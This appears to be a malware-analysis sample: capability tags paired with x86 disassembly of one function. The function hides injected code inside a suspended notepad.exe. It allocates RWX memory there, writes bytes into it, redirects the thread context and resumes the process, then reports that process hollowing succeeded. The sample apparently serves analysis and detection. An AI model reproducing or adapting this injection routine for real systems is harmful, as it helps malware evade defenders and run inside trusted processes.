Function at 0x40152c
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x364
call dbg.__main
mov dword [ebp - 0xc], str.C:WindowsSystem32_notepad.exe
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x58], 0x44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x68]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x68]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x58]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
jne 0x401604
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.CreateProcess_failed_with_error__lu_n
call sym._printf
mov eax, 1
jmp 0x4017c7
mov dword [ebp - 0x10], 0x1f
mov eax, dword [ebp - 0x68]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov edx, dword [ebp - 0x10]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401664
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.VirtualAllocEx_failed_with_error__lu_n
call sym._printf
mov eax, 1
jmp 0x4017c7
mov eax, dword [ebp - 0x68]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40a044
mov edx, dword [ebp - 0x14]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
jne 0x4016b7
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.WriteProcessMemory_failed_with_error__lu_n
call sym._printf
mov eax, 1
jmp 0x4017c7
mov dword [esp + 8], 0x2cc
mov dword [esp + 4], 0
lea eax, [ebp - 0x334]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x334], 0x1003f
mov eax, dword [ebp - 0x64]
lea edx, [ebp - 0x334]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadContext]
call eax
sub esp, 8
test eax, eax
jne 0x40171e
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.GetThreadContext_failed_with_error__lu_n
call sym._printf
mov eax, 1
jmp 0x4017c7
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x27c], eax
mov eax, dword [ebp - 0x64]
lea edx, [ebp - 0x334]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetThreadContext]
call eax
sub esp, 8
test eax, eax
jne 0x401763
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.SetThreadContext_failed_with_error__lu_n
call sym._printf
mov eax, 1
jmp 0x4017c7
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ResumeThread]
call eax
sub esp, 4
cmp eax, 0xffffffff
jne 0x401796
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.ResumeThread_failed_with_error__lu_n
call sym._printf
mov eax, 1
jmp 0x4017c7
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp], str.Process_hollowing_completed_successfully._n
call sym._printf
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret